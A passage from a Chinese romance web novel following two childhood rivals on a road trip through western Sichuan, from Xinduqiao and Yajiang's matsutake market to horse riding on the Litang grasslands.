“哟,你还知道面霜呢,就是唇膏,你把它抹在嘴巴上就行。” “怎么抹?” 邬雪青翻了个白眼,转过身,用中指沾了沾膏体,擦在他唇上,“你是傻子吗?就这么……” 叶嘉木微微低头,垂眸看着她。 她的话音戛然而止。 邬雪青呼吸一促,被电了一下似的倏地收回手,仓促道:“你自己抹吧。” 他抬手抓住了她的小臂,“抹都抹了,应该抹完,怎么还半途而废?” 邬雪青小声说:“……我只帮你这一次,下次你自己抹。” “好。” 纤细柔软的指腹带着淡淡薄香轻轻擦过他的唇,她的目光专心致志地在他唇上,而他温和的目光只流连在她眉眼上。 “可以……了。”她抬眼撞上了他的目光。 像一个粉粉香香的小蛋糕,圆圆的眼睛清澈像湖泊,翘翘的睫毛一眨一眨。 他低头。 邬雪青感觉额头像被蝶翼轻扑了一下。 意识到的时候,他已经撤回了动作。 “叶嘉木,你!” 她抬手捂住了额头,薄雾晚霞一般的红唰地一下从她脖颈烧到了耳根,勃然大怒,“你这个臭流氓!” 他一只手撑着墙,另一只手指指脸颊,“你可以亲回来。” “死变态!” 邬雪青捏紧了拳头,把他打出了门外。 房门在他面前砰然合上。 叶嘉木敲了敲门,“殿下,要准备出发了,收拾好了出来吃早餐啊。” “滚!” 叶嘉木摸了摸唇,没忍住,又乐呵呵笑了一下。 邬雪青捂住了额头,感觉浑身都要烧起来了。 她压了一下心口的火。 没关系没关系,就当被Cooper舔了一下! 邬雪青又按了按心口,感觉心率异常快,绝对是被气的! 啊啊啊,该死的叶嘉木!! 他怎么可以这样? 把她当什么了? 太过分了! 过了好一会儿,邬雪青才从房间里出来。 叶嘉木依然站在门口没有走,见她出来,他下意识想插科打诨,邬雪青狠狠剜了他一眼。 叶嘉木和她一对视,发现她眼圈是红的,顿时一肚子的浑话都沉了下去。 他讪讪站直了。 “对不起。”他说。 邬雪青戴上了墨镜,理也不理他。 九点半,从新都桥镇出发往理塘方向,中午在雅江就餐。 他们出发已经很早了,但国道依然很堵,尤其是从新都桥上318国道的一段路。 从小镇出来没多远,邬雪青就看到路道山壁下有碎石堆积,看起来像从山上掉落下来的。 今天天气不好,天上的云也是灰蒙蒙的,和她的心情非常一致。 一大段路都是树木稀疏的山壁和碎石林立的土壤,车道一直盘旋,不时有大货车从对向车道开过来,吓邬雪青一跳。 她处于又困又不敢睡的状态,连连打哈欠。 叶嘉木道:“困了就睡会儿吧,到雅江还要一个小时。” 过了那一片光秃秃的山崖区,又转入了山林里,眼前的山都极其近,薄云就像贴着山峰在飞。 路道两侧时而能看见用石块垒起来的房子,她觉得很新鲜,举起手机拍。 叶嘉木说:“这些房子都是以前的村民住的房子。” 开过了一个小村庄,前面又堵了起来,长龙一眼望不到头。 叶嘉木停了车,问她:“饿不饿,要不要吃点零食?” 邬雪青依旧不搭理他。 叶嘉木从后座上拎过零食袋,问她:“吃不吃巧克力?或者话梅糖?曲奇饼干?” 邬雪青转过头看着窗外。 他剥出一粒夹心巧克力,递到了她唇边,“吃粒巧克力补充能量,待会到卡子拉山海拔可比折多山更高了。” 真是冷战的一把好手。 见她不搭理自己,叶嘉木再次道歉:“早上是我不对,你要是生气不高兴,就发泄出来,别憋着,这高原上本来就容易高反,你这一生气,不得更加头晕脑胀的?” 他不说邬雪青还没觉得,他一说,邬雪青也觉得自己脑袋晕胀了起来。 他欠欠伸出手,说:“要不咬我一口?” 邬雪青抓住他手臂,真就嗷呜一口咬了上手腕,一点没客气,简直要把他手咬碎了咽进肚子里去。 等她松开牙,叶嘉木腕骨上多了两排清晰可见的红色牙印。 “舒服了吗?还生气再咬两口?”他一点没生气,甚至还逗着她说。 邬雪青嫌弃地转开头,抱起了胳膊。 看来是不生气了。 叶嘉木道:“前面就是高尔寺山隧道了,将近六公里,从隧道出去就是雅砻江峡谷。” “到理塘还有多远?”邬雪青皱眉问。 见她终于肯和自己说话了,叶嘉木脸上马上挂上了笑容,“还有一百多公里。十一点半左右到雅江,我们休息两个半小时,两点左右出发去理塘,下午五六点左右就能到理塘。” “哦……” 前面堵得水泄不通的车道缓慢动了,叶嘉木发动车跟上。 隧道非常长,开了十几分钟,邬雪青都有些昏昏欲睡了,她侧头看了下叶嘉木。 他注意力都在前方,眼睛炯炯有神,像打了鸡血似的,竟然一点都不困。 邬雪青振作了一下精神,坐直了身,和他一起盯着车外。 从隧道出来,眼前骤然一亮,风景也像骤然换了。 天空晴朗明亮了起来,连山色也更绿了。 邬雪青去扶手箱里拿口香糖想提提神,手刚往手箱一放,叶嘉木的手也正好伸过来,和她的手指一碰,好像被火栗一烫,他立刻将手收了回去。 邬雪青一顿。 “刚才可不是故意的啊。”他马上澄清。 邬雪青手指蜷了蜷,心里泛起一阵说不上来的感觉。 有点烦。 “我又没说你什么。”她呛声。 叶嘉木长长叹息,“脾气本来就琢磨不透,这生理期一来,更加是波诡云谲,翻脸比天气还快。” “……波诡云谲是这么用的吗?”邬雪青一时不知道吐槽哪点。 他忧愁,“唉,又要当司机,又要当保镖,又要当导游,还要当受气包,除了男朋友,没有人能这么身兼数职了吧?” 简直是不要脸地明示。 “叶嘉木,收起你的鬼心思。” “这不叫鬼心思,”他再次澄清,“邬雪青,我很坦荡,我是喜欢你啊。喜欢一个人不是要感到羞愧、必须隐藏起来的事情。” “你喜欢我,但我不接受,喜欢不是你可以冒犯我的理由,少诡辩!” 叶嘉木亮出手腕,“这不是两清了吗?” 邬雪青气得磨牙。 他说:“而且,邬雪青,你不是不喜欢我,只是你嘴特别硬,你不承认。” “你!”邬雪青立马炸了起来。 叶嘉木心情很好,他修长的手指叩击着方向盘,说:“不过也没关系,我可以焐,也可以等,焐到雪山融化,等到你愿意承认的那天。” 第28章 一个小时后,他们终于抵达雅江。 雅江县是一个建立在悬崖上的县城,城区面积狭小,开车几乎一分钟就能穿过这个小县城。 它位于雅砻江峡谷内,水汽充沛,高山峡谷的地理环境极适合松茸生长,这儿又被 称为中国松茸之乡。 远远的,邬雪青就看见在悬崖峭壁上林立着乐高积木似的房子,紧凑,高低错落。 它们背山面水,像离群索居的群山孤岛。 靠近才发觉县城内极其热闹,房屋间距狭窄,道路也并不宽敞,山和水都离得极其近。 人与人、人与自然衔接一体。 他们的车开进县城内,公路盘旋,见到的建筑多由长长的楼梯连接,抬头能看见的是重重叠叠的群山,这让邬雪青想起被称为“山城”的重庆,但这儿也没有重庆市区的繁荣,建筑带着特色历史感,人们穿着也质朴简单。 没有特意挑选,他们开车路过,瞧见一家门头挺大的饭店便靠边停车,进去先点了当地特色的酥油茶、青稞饼和松茸炖鸡。 邬雪青在吃上不挑剔,他们问她意见,她也只回答两个字“随便”。 怕她吃不惯藏族口味,叶嘉木专门给她点了几道常见的家常菜。 县城不大,但游客不少。 老板张罗着,他们一落座,便先端上了酥油茶和青稞饼。 第一次吃藏族特色的美食,邬雪青好奇地端着花纹漂亮的红色小碗沿边抿了一口酥油茶,砸吧砸吧嘴,第一口品出些许咸味,她又抿多了一口,品出一种茶的淡苦和奶的香味,再细品又能感觉到口腔里留有油脂的黏稠。 “喝的习惯吗?” 叶嘉木拿起一块青稞饼掰开一半放她盘子里。 刚出炉没多久的饼,还是软的,有些烫手,邬雪青摸了一下,烫得吸气直捏耳垂。 叶嘉木笑了起来。 “还行。”她含糊说。 酥油茶是很醇厚温暖的口感,给人在高原冰天雪地也有的饱腹安全感,但对沿海吃惯了清淡茶饮的人来说太厚重了,是吃不大习惯的。 她又捻起小块青稞饼尝了尝。 饼里加了蜂蜜和坚果,但咀嚼起来仍能清晰感觉到饼皮里青稞和麦麸的纤维颗粒感,有点太干了,她又端起酥油茶抿了一口,眉头紧皱。 穿着藏袍的老板端着他们点的家常菜过来,抄着不太流利地普通话问:“酥油茶,好不好吃?” 几个男人客气地点头说:“可以的,很正宗。” 叶嘉木意外的是他第一次吃都吃不习惯酥油茶,可邬雪青竟然没有表达任何不满,也跟着点点头。 他盯着她看。 邬雪青不明所以,“你看我干什么?” 他说:“你好看。” 另外两个人又是一顿狂咳,邬雪青忍住了想锤他的拳头。 邬雪青就是尝口新鲜,即便不习惯,也全当作是出来体验,出于礼貌,她还是喝完了半碗酥油茶。 她没想到之后进了藏,小半个月她都会和酥油茶还有青稞饼不停地打交道,吃到后来她随口一尝都能分辨出哪种才算正宗。 吃过中饭,唐昆提议去当地的松茸市场看看,其他人自然没有意见。 一个彩色的、蘑菇似的光标建筑伫立在市场内,乍一看很像一只大水母。 他们一路从县城其他街道过来,发现这儿的人格外多,简直可以用人头攒动来形容。 有人开着面包车过来,将采收的松茸装在框里,摆在地面上,等着买家挑选,更多的是搭好的棚子,棚子下铺着塑料布,将大堆大堆的松茸铺散,大小不一。 来来往往的买家俯身挑选,和卖家讨价还价。 他们旁听了下,报出来的价格各有不同,有一斤两百多的,也有一百多的。 邬雪青不知道这价格算高还是低,买家们挑剔着,说这是尾货,不够新鲜,这价格太高了,而卖家嚷着已经很低了,上山采菌子不容易。 人太多了,菌类的气息、泥土的气息,以及来来往往的人身上的味道,还有嘈杂的声音,让她胸闷,有些喘不过气。 原来市场就是这样的,商品价格不固定,全靠买家和卖家口舌推拉。 邬雪青体验了两分钟,走了没几个摊子就不想往里去了。 她非常利落地决定放弃了这个体验,“人太多了,我回车上等你们,你们自己逛吧。” “那我送你回车上。”叶嘉木说。 “不用了,你们三个慢慢逛,车钥匙给我。” 叶嘉木把钥匙给她,邬雪青掉头就往市场外走。 隔着一道栏杆,叶嘉木看见她回了车旁,像蜗牛缩回壳一样迅速上了车。 唐昆和梁襄从人堆里一挤出来就没看见邬雪青了。 唐昆疑惑问:“叶总,邬小姐去哪了?” “她身体不大舒服,回车上了。”叶嘉木说。 “那我们还逛吗?”唐昆犹豫着,“我刚问了问价格,都不便宜,看我们是散客,那种个头小的都喊价150呢。” “既然来了,都买点好的给家里寄回去,留个单子,回头和差旅费一起报销。”叶嘉木说。 买特产还能报销! 唐昆大喜,抱拳道:“谢谢叶总!” 叶嘉木笑笑,“给女朋友也买点回去吧。” 唐昆嘿嘿笑着,挠了挠头。 他们三个转了一圈,从市场一出来,叶嘉木就看见几个小孩趴在他车窗边在和邬雪青说话。 都是藏族小孩,皮肤黑黑的,一双眼睛干净剔透,七嘴八舌地也不知道在说什么,吵吵嚷嚷的。 邬雪青拎出零食袋子,抓了一把给小孩们,顿时引发孩子们欢呼。 还有一个小姑娘,扎着两根紧紧的麻花辫,局促地看着邬雪青。 邬雪青从手箱里拿出一根笔,咬开笔帽,抓着小姑娘的手写着什么。 看见他们三个男人走过来,小孩们顿时做鸟兽散了,只有那个扎辫子的小姑娘还站在车边。 叶嘉木脸色有些严厉,问:“你们在干什么?” 那小姑娘吓得一抖,往后退一步,飞快和邬雪青说了句什么,然后也头也不回地跑开了。 见邬雪青慢悠悠地盖回笔帽,脸上还没什么郁色,叶嘉木问:“刚刚那群小孩是在找你要东西吗?” “没有啊,你怎么把人小孩想得这么坏?是我无聊,找他们聊聊天而已。”她轻松地说。 叶嘉木上了车,道:“那可能是我多心了……” 邬雪青看看他,又看看另一边空手上车的唐昆和梁襄,疑惑问:“你们都没买东西?” “买了,留了地址给卖家直接寄回去。”他顿了顿,说,“我给你家也寄了,写的你的名字。” “哦,多少钱,我转给你。”她掏出了手机。 叶嘉木简短说:“不用。” 也就是跟他客套一下,邬雪青手机都没打开。车发动了,有小孩躲在棚子里,偷偷地地朝她挥了挥手,邬雪青笑了下,手里转着手机,随意地问他:“你刚刚为什么对那帮小孩那么凶?” 叶嘉木说:“以前进藏,会遇到一些小孩追车拦车要东西,有些人会同情,有些人想着多一事不如少一事,慢慢引起一些不太好的风气,国道沿路有的孩子会追着拍车窗,有的还会上车盗窃……不过那都是以前了,或许是我多心了。” “啊,这样,但我觉得这边小孩都挺淳朴的,刚刚是我叫他们过来聊天的,零食也是我给他们的。”她说。 叶嘉木笑了下,“也是,如果有小孩追着你要东西,以你的性格,不高兴的话理都不会理,是我多想了。” 邬雪青哼哼笑一声,接着说:“刚刚有一个小姑娘,说她从来没有出过雅江,我让她以后想出来玩就打我电话,你觉得对不对?” “她不会打这个电话的。”叶嘉木说。 邬雪青挑眉,“你这么肯定?” “她没有手机,要打电话只能问家里人借,大人一定会问她打电话给谁,知道是陌生人后不会允许她打……退一万步来说,即便她拿到了手机,也不会打的。” “怎么说?” “走出大山不是一件那么容易 的事。” “那你是觉得做得不对咯?” 她的语气很随意并不较真。 叶嘉木清楚,她给那个小女孩留电话并没有怀着多么复杂的、或者救世主的想法,或许只是突然兴起而已。 “没有什么对不对,这可能是有意义的,也许那个小女孩以后常常会想起自己有个在内地的朋友,从而有了更想去内地看看的想法,也可能今晚回家洗手就会把号码洗掉,然后把这件事轻易忘掉。人不是做所有事都必须要有意义的。”他说。 邬雪青侧头看他,“叶嘉木,我突然发现你其实是个很悲观的人。” 他一哂,“这叫悲观吗?” 邬雪青打了个响指,道:“那我们赌一下吧,我赌她一定会打电话给我。” “赌什么?” 她想了想,说:“赌三个条件。” “你赌输了可就欠我六个了。”他说。 “我赌赢了你那三个条件可就都不作数了。”她哼笑。 叶嘉木道:“那就试试。” 从雅江出发去理塘的时间比预计要早,不知道叶嘉木困不困,邬雪青吃过午饭就有点晕碳水犯困了。 她迷迷糊糊睡了过去,又迷迷糊糊被晃醒过来。 “这是到哪了?”她迷瞪着眼问。 “到剪子湾山了,这里就是天路十八弯。” 邬雪青扭头往外一看,公路一旁的峡谷内能看见白云,浮在半空中的云几乎与车身齐平。 “这里海拔多高啊?”她问。 “四千六百多米,有没有感觉头晕?” 邬雪青本来以为是车身晃荡,晃得她头晕,但醒来一看,叶嘉木车开得很稳很缓,尽管弯道很急,也并不颠簸,她意识到自己突然的头晕可能是有点高反了。 “好像是有点晕……”她揉了揉太阳穴。 “前面扶手箱里有氧气罐,感觉喘不上气就用,你现在吃点巧克力和可乐,看能不能压一压。”叶嘉木神色平和,语气稳定地说。 他这样冷静,邬雪青紧张的情绪也缓和了些,心想应该只是一点点小问题,或许下了山,过完这段路就好了。 邬雪青从零食袋里翻了翻,她刚刚抓了一大把给小孩,现在袋子里只剩一块德芙了,她拆开包装含在嘴里抿了抿,又问叶嘉木:“你吃吗?” 他摇头。 嘴里含着甜食,恶心感好像是稍微减轻了一点,可眼前一个弯道接一个弯道,一直在拐弯,她又晕了起来,也搞不明白到底是晕车还是高反了。 她从手箱里拿出氧气罐,吸了两口氧气,眩晕的感觉稍稍压下去了一点。 叶嘉木看出了她的难受,心头微沉,但这个路段容不得他分心,他抿着唇专心往前开。 从十八弯下去,唐昆马上和梁襄换了开车的位置,坐在副驾驶上吸起了氧。 从雅江到理塘一线,318国道途经的剪子湾山观景台和卡子拉山的高山牧场都是有名的景点,但这两处海拔都非常高,不止邬雪青,梁襄和唐昆都不舒服起来,因此车没有停,径直开了过去。 对讲机里,唐昆苦笑说:“还好在折多山叶总就果断送小方回康定了,他要是再来这边,真要他命了。” 叶嘉木问他:“你现在好点了吗?” “好点了,刚刚那路太绕了,我都要开吐了。叶总,您没事吗?您都开了好几个小时了。” 一模一样的风景,鬼打墙一样的弯道,就算是有好几年驾龄的司机面对这样的路也很难不生出疲劳、心惊胆战。 “我没事。梁襄,你怎么样?”叶嘉木又问。 梁襄回答:“我没高反,您放心。” “辛苦了,我们明天在理塘休息一天,后天出发到芒康和大部队汇合。” 所有人的状态都有些疲惫了,但他的声音依然平和、沉静、稳定。 邬雪青难受得已经有点不太想说话了,整个人都躺了下去,蜷在毯子里。 车依然在往前疾驰,安全而稳定。 她扭头总能看见叶嘉木专注而沉静的侧脸,或许是由于高反,她脑子里的念头也“嘭”了起来,又多又杂。 唐昆和梁襄听从他指挥,毫无异议也毫不犹豫地跟着他往前开,邬雪青也能安安稳稳地在他旁边倒头就睡。 可真的有人能连着开一个星期的车,又从平原到盆地再到高原,依旧精神抖擞,毫无疲惫吗? 唐昆、梁襄和方向阳三个人换着开一辆车,从隅州到四川,第一次见面时她就看出那三个人面容憔悴,精神萎靡了。 进了川西后除了开车较少又不爱说话的梁襄反应较小外,方向阳和唐昆都晕吐了,连她这个完全不开车只睡觉的这会儿都难受得不行了。 她想起那些偶尔能看见的,匍匐在地,一步一拜的苦修朝圣者。 叶嘉木数次往返川藏,熟悉这里所有路段和海拔,就算是为了看风景也未免太辛苦了,光是这短短一周,他已经一个人开完了两千多公里。 难道自驾就是一条他选定的修行苦旅? 可他不是脱离世俗,超脱物质依赖的苦修信徒。他出生优渥的家庭,还有爱他的父母,连邬雪青有时都忍不住嫉妒他拥有的一切。 她甚至曾经忿忿不平地想,凭什么他能这么好命? 他的妈妈温柔亲切,爸爸严厉却也不失温和,他拥有一个完美且充满爱的家庭。 父母从来不对他有过高要求,总能包容他的捣蛋行径,可他为什么在长大后还要“叛逆”地离开家庭,选择一个人行驶在路上? 邬雪青突然发现她似乎并没有她想的那么了解叶嘉木。 她曾经觉得他是个讨厌鬼,命运总是优待这些可恶的男孩,而对她这样的女孩要求苛刻,即便他们出身同样的家庭也有着截然不同的童年。 现在她突然开始疑惑,疑惑为什么这么多天以来,她似乎从来没看见他给父母打电话。 第29章 “啊,不行不行!别走别走!” 邬雪青一只手抓着马鞍,另一只手牢牢揪住了马夫的袖子,吓得大喊。 “不要害怕,德吉很听话的。”马夫笑着说。 一个小时前,他们刚到理塘,路过草原,看见山坡上有人在骑马,邬雪青随口说了句也想骑马。 简直是心想事成,刚在酒店落下脚,她还没换衣服,叶嘉木就把她薅来了草原上。 唐昆和梁襄都不想动弹了,委婉拒绝了精力充沛如牛的领导一起去骑马的邀请。邬雪青也很想拒绝,但叶嘉木说已经联系好马导了,不顾邬雪青张牙舞爪的反抗,一只手夹着她腋下,把她拎了出来。 她就是说说而已,也并没有那么想骑马啊,这个混蛋! 等她反应过来,她已经坐在马背上了。 马夫牵着马走了两步,颠得邬雪青直呼“救命”。 叶嘉木在马夫教她怎么踩马镫,怎么上马的时候已经潇潇洒洒地骑着马,两腿一夹,往山上跑去了。 邬雪青以前也骑过马,但都是在训练场里,专业的教练给她拉着绳,带着她简单走两圈。 这可是草原啊!万一一撒手,她不得朝着尼泊尔狂奔而去! 马夫带着她走了十几米,让她适应适应。叶嘉木像一阵风一样又骑了回来,他一拽缰绳,拉着马掉头,笑道:“邬雪青,我们可是上的一个马术课程,你不会把学的都还给教练了吧?” 他高高坐在马背上,日光落在他身后,照得腰身挺拔,像一个意气风发的骑士。 装不死他! 邬雪青磨了磨牙,没好气道:“别在我面前碍眼!” 马夫笑着问:“你们以前都练过吗?” “没有。”邬雪青矢口否定。 叶嘉木俯下身,一只手拉着缰绳,另一只手肘支在马背上,看戏似的待在她旁边,玩味道:“殿下,说谎是会长长鼻子的。” “滚啊!离我远点!”她喊。 马也惊一跳,打了个喷嚏, 吓得邬雪青立马噤声。 叶嘉木松开脚蹬,抬腿从马身上翻身下来,拍拍马夫肩膀道:“我来带她吧。” 邬雪青警铃狂响,立马大喊:“不行,不能给他!” 马夫只当他们小情侣闹脾气,笑了好一会儿,见叶嘉木会骑马,和他说了说注意事项,又和邬雪青道:“你不要害怕,我会跟在你们后面的。” 叶嘉木抓住马绳,领着她的马往前走,说:“你以前胆子也没有这么小啊,怎么越长大胆子反而越小了?” “谁胆子小了?我只是很久没有骑马了,一下子不习惯而已!”她嘴硬说。 他作势要松手:“那我松开了啊。” 邬雪青踢了他一下,气得炸毛,“你想死吗?” “真行啊殿下,当初学得都还回去了。我带你走走,你找找感觉。”叶嘉木看了看她的坐姿,道,“身体坐正,屁股不要歪,不要松绳,马走的时候,你的腰和屁股要跟着动起来。” 邬雪青当初上了两堂马术课就干脆地放弃了这项磨腿磨屁股的危险运动,在叶嘉木提醒下勉强想起来一点点的基础,挺直腰,放松身体,抓着前鞍跟着马的节奏往前走了会儿。 “不错啊,挺像模像样了。”他说。 邬雪青高抬起下巴道:“都说了只是刚刚没适应而已,我没那么菜好吗。” “那我松绳了。”他说。 邬雪青瞪着他。 叶嘉木笑道:“想不想在草原上跑会儿?我带你。” 天色明朗,山坡上有许多人骑着马往前跑,帅得不行。 邬雪青看看他,又回头看看骑着马跟在他们身后的马夫,有点犹豫:“安全吗?” “我什么时候坑过你?”他说。 那可太多了! 邬雪青朝他呲牙。 “来,给一边马镫给我。”他说。 邬雪青松开了脚。 他踩着一侧脚蹬,长腿一跨跃上了马。 邬雪青下意识往前挪了挪,被他一把搂住了腰,“往哪跑,你要骑到马头上去吗?” 他将她往后一搂,邬雪青后背撞进了他怀里,下意识抓住他手背。 叶嘉木又笑了,“抓我手干什么?抓前鞍啊,笨蛋。” “叶嘉木,你故意的。”她磨了磨牙。 他双手拉住缰绳,笑着道:“靠紧我,要走了。” 感觉到她不放心地往他身上又贴了贴,他夹了下马腹,马往前走了起来。 速度不快,邬雪青能感觉到叶嘉木的呼吸声就在她头顶,只要她稍一侧头,就能撞上他的脸。 他的呼吸很缓,牵着缰绳的双臂牢牢地将她环在怀里,像安全带。 她没有说话,他也没有出声。 只有草原上的风和垂穗似的草在朔朔地响。 “殿下,带你跑一会儿。”他说。 邬雪青立刻抓紧了鞍手,感觉他一挥绳,马驹便撒腿跑了起来。 风吹得她几乎睁不开眼,青草的气息和小碎屑也扑面而来,打得脸颊有些刺刺的疼。 她本该很紧张的,可此刻心里莫名很安定。 有一种自由的感觉,但不像漂泊的孤舟,是有牵绊的风筝。 叶嘉木感觉到她的脑袋轻轻靠在了自己肩膀上,他嘴角浅浅扬了起来,控着马放慢了速度。 他们跑到了山的另一边,正朝向即将落山的太阳。 感觉她有点昏昏欲睡了,他说:“殿下,要不要下去坐坐,晒晒太阳?” 风吹得太舒服,邬雪青都有点困了,她点了点头。 他拉着马走了一段距离,找到一处牧草肥沃的地方,拉紧马绳,马的速度渐渐停了下来。 他先跳下马,又朝邬雪青伸出手,“下来吧。” 邬雪青揉了揉眼睛,有点恐高,踩住一边马镫,正犹豫怎么下来,他扶住她腰,一把将她托了下来。 一回生二回熟,上次他也是这样将她抱下车的,这次邬雪青搭了下他肩膀,稳稳地站住了。 他说:“你找个地方坐,我去把马牵起来。” 邬雪青看着他拉着马走到木栅栏旁去系马绳。 太阳晒得暖烘烘的,天气也正好,不冷不热。 她戴着遮阳帽,仰了仰头,抻个懒腰,感觉浑身每一寸筋骨都打开了。 叶嘉木回头的时候就看见她躺倒在地上打了个滚,然后张开了手臂,任由太阳晒着。 他不自觉笑了一声。 他在她旁边坐了下来,将她扔在一旁的帽子盖在了她脸上,“小心被晒成本地人。” 邬雪青摸了摸脖子,坐了起来,“这草好扎脖子。” 叶嘉木拍了拍大腿,“躺这来。” 邬雪青挪了挪身体,将脑袋枕在了他大腿上,盖上了帽子。 “你不困吗?”她声音含糊地问。 叶嘉木低头给她挑着发丝上的草,说:“不困啊,这才几点,早着呢。” “你红牛喝多了吧……” 她声音慢慢轻了下去,呼吸平稳地眯着了。 他的手指插进她茂密柔软的发丝内,轻轻地给她梳着长发。 此刻,他不关心天色,不关心草原,不关心宇宙的一切,能感受到的,只有和她有关的一切。 “邬雪青,我们谈恋爱吧。” 毫无前兆的,他低声说。 第30章 她没有回答。 或许是睡着了,没有听到。 叶嘉木垂下了眼睫,一并挡住了眼里的情绪。 但少顷,她枕在他腿上的脑袋往他怀里钻了钻。 叶嘉木一顿,呼吸转促,他弯腰搂住她,笑了起来。 起得太早,又赶了大半天路,邬雪青感觉眼皮子有些重,原本只想眯一会儿,但没想到还真睡着了。 没有睡太久,但她睁开眼睛时,太阳已经有些西沉,天色黯淡下来,草原是一望无际的深绿。 她一时间不知道自己身在何方,甚至以为还在梦里,恍恍惚惚。 刚动了一下,她就听到身边的声音道:“醒了?” 她扭头看过去,扯到了被夹到的头发,“嘶”了一声。 “别动,头发挂拉链上了。”他沉声说。 邬雪青按住头,皱着眉头侧目看他。 叶嘉木拉开冲锋衣外套拉链,将她的头发从拉链中扯出来。 她揉了揉脑袋,坐起身,痛得眉头紧皱,“几点了?” “六点多了。”他顺手将外套披在了她身上。 邬雪青裹了裹衣服,“感觉有点冷了,我们回去吧。” “好。” 他起身去牵马。 邬雪青再环顾一圈,刚刚还有很多人在骑马,这会儿都不见了,整个绿色海洋似乎只剩下他们了。 一种苍茫的孤寂席卷而来,她立刻转头看叶嘉木。 他将马牵过来,伸手道:“公主殿下,上马吧。” 在他帮助下,邬雪青踩着脚镫坐回了马背上,手落在前鞍上,她低头瞥一眼,愣住了。 不知道什么时候手指上竟然被套了一个草编的指戒。 这儿就他们两个人,是谁干的不言而喻。 后背一震,他也跨上了马。 “坐稳了,我们回去了。” 她回过神,手指紧了紧,“哦,好。” 这会儿的殿下是没睡醒,懵懵的殿下,软软地靠在他怀里,一点儿刺都没有。 叶嘉木心情不错,语气带笑,“晚上想吃什么?” 她打了个哈欠,困倦地说:“回去再说吧,我想换一下衣服。” “好。” 还完马,他们回了酒店。 叶嘉木打了电话给唐昆和梁襄,大概是一到酒店就倒头就睡了,两个人现在还没有醒,电话也没人接。 叶嘉木帮邬雪青把行李箱拉到了房间,又给她简单收拾了一下,拿出一套换洗衣服。 她坐在沙发软塌上哈欠连天。 “这套衣服怎么样?” 他的目光在她手指上顿了一下,他编的那个草编戒指已 经不翼而飞了,呼吸不自觉一顿。 “可以……”她晃晃悠悠站起来,“你等我一下,换个衣服就出去吃饭。” 叶嘉木回过神,把衣服递给她,道:“好,你去换衣服吧。” 原本只想简单换个衣服就先出门吃饭,但实在受不了身上沾满了草和泥土,邬雪青还是洗了个澡。 过了二十来分钟,她从浴室走出来,擦着头发道:“叶嘉木,我……” 话音戛然而止,她看见叶嘉木躺靠在沙发上,手里揽着抱枕,竟然坐着已经睡着了。 真睡着了?她还以为他不会累呢,原来还不是超人啊。 天色已经完全黑了,房间里的灯还没有打开,只有浴室橙黄的灯光透出来,朦朦胧胧的亮照着路。 邬雪青把毛巾放在一旁,打开了空调,又将床头柜上的毯子拿过来,轻轻盖在了他身上。 他睡得很沉,连她给他盖毯子的时候都没有反应。 邬雪青伸手戳了戳他脸颊。 看起来硬邦邦的脸颊轮廓,戳起来却很软。 她又戳了戳他鼻头,戳成一个猪鼻子的模样,滑稽可爱,她不禁哧笑了一声。 他抿了抿唇,邬雪青慢慢收回了手指。 她凑近看他的脸,他的皮肤已经晒成了可可粉一样的颜色,却也算帅气。 眉毛浓密,又粗又长,不说话时看起来有些冷酷严肃,最近好像瘦了一点了,脸颊线条更锐利了。 不知不觉,对他的印象已经变了。 她快有点记不清他从前事事都要和她争个一二的样子了。 他好像一下子就长大了,变成能够担当起很多事情,一个内敛稳妥的大人。 有时候邬雪青会觉得割裂,有时候又会觉得他现在的样子也挺好的。 以前争锋相对,如今他却更像她的后盾。 不知不觉,她竟然开始有些依赖他了,真奇怪……但,不讨厌。 正胡乱想着,桌上手机闪光灯频闪了起来,邬雪青拿起他手机,看到是唐昆打回来的电话。 她看他一眼,接通了电话,轻手轻脚走回了浴室关上门。 “喂,叶总,不好意思我刚刚醒,才看到您的消息……” 唐昆在电话那边解释。 邬雪青掩着话筒低声道:“是我,叶嘉木睡着了,你和梁襄先去吃饭吧。” “啊,邬小姐?”唐昆震惊完,又问,“那您吃饭了吗?” “我不饿,你们去吃吧。” “好的,那我待会叫上梁襄。对了,邬小姐,这边餐馆好像关门都挺早的,需不需要给你们打包一些回来?”唐昆问。 “可以,麻烦你们了。” “不麻烦的。” 邬雪青“嗯”一声,挂断了电话。 她打完了一通电话出来,叶嘉木依然没有醒。 高原地区昼夜温差还挺大,白天有太阳的时候还能感受到一点温暖,太阳一落下去,寒意就起来了。 她抬头看了一眼空调温度,又拿起遥控器,把温度又上调了两度。 她按开了房间的灯,叶嘉木眼皮动了动,但还没有醒。 啧,睡得可真死。 邬雪青思考了会儿,将头发盘起,上床盘腿坐着,拿起酒店的纸笔,拔开笔盖,在纸上写下“理塘”和“墨脱”两个字。 头顶的灯亮晃晃的,没多久,叶嘉木被照醒了。 他睁开眼,脑子还有些昏沉,揉了揉额头坐起来,先看到的就是从身上滑下去的毯子。 他抓着毯子,愣了一下。 转头看,便看见邬雪青坐在床上,正低着头在写写画画什么。 他想起自己刚刚是在她房间等她的,有些懊恼,揉了揉太阳穴,“不好意思,我怎么在你这里睡着了?” 邬雪青笔顿了一下,抬起头道:“醒啦,我让唐昆给我们打包了饭菜,他应该等会儿就回来了。” 叶嘉木看见了她收起来的纸笔,问:“在写什么?” “随便写写画画。”她将纸笔放回床头柜上。 房门被敲响了几下。 邬雪青道:“应该是他们回来了。” 叶嘉木走去拉开门,果然是唐昆和梁襄。 看见是他来开门,两个人愣一下,把打包好的饭菜递过来,道:“叶总,我们点了一些清淡的菜,不知道合不合你们胃口。” “好,谢谢。”他接过了袋子。 唐昆看见房间里邬雪青的身影一晃而过,只见她扯下毛巾,擦着湿漉漉的头发走进了浴室。 他很有眼力见地道:“那你们吃饭吧,我们不打扰了。” “嗯,明天都休息一天,你们可以在理塘逛逛。” “好的,谢谢叶总。” 浴室吹风机的声音呼呼响了起来。 叶嘉木将饭菜拿出来,放在了桌上,叫了一声:“殿下,用膳了!” “我吹头发,你先吃。”她说。 然而她从浴室出来,他还没动筷子,正等着她来。 菜都是当地特色的藏餐,一个野生菌炒牦牛肉,一个虫草花蒸蛋羹,一个烤牛肋排,还有一个牛骨炖萝卜汤。 “好香啊。”她都有点馋了。 叶嘉木掰下一根牛肋排给她,道:“这是牦牛排骨,你尝尝,听说多吃牦牛肉对女孩子身体好。” “又是那什么能驱寒吗?”她笑。 他说:“那我得回头查查原理。” 邬雪青坐下来,先倒了一碗汤,又将那碗汤递给了叶嘉木。 叶嘉木一愣,“给我的?” “不要?”她挑眉,“不喝那就算了。” “喝,这就是砒霜那也得尝一口。”他立刻接过。 “傻子……”她嘟哝。 